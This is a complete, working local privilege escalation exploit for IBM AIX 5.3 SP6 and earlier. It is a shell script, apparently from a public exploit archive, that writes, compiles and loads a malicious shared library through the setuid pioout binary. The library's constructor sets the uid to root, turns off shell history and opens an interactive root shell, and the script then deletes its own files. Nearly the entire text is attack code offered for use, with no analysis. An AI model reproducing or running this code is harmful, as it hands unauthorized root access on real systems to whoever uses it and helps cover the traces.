IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

                                                #!/bin/sh
#
# 07/2007: public release
#
echo "-------------------------------"
echo " AIX pioout Local Root Exploit "
echo " By qaaz"
echo "-------------------------------"
cat >piolib.c <<_EOF_
#include <stdlib.h>
#include <unistd.h>
void init() __attribute__ ((constructor));
void init()
{
        seteuid(0);
        setuid(0);
        putenv("HISTFILE=/dev/null");
        execl("/bin/bash", "bash", "-i", (void *) 0);
        execl("/bin/sh", "sh", "-i", (void *) 0);
        perror("execl");
        exit(1);
}
_EOF_
gcc piolib.c -o piolib -shared -fPIC
[ -r piolib ] && /usr/lpd/pio/etc/pioout -R ./piolib
rm -f piolib.c piolib

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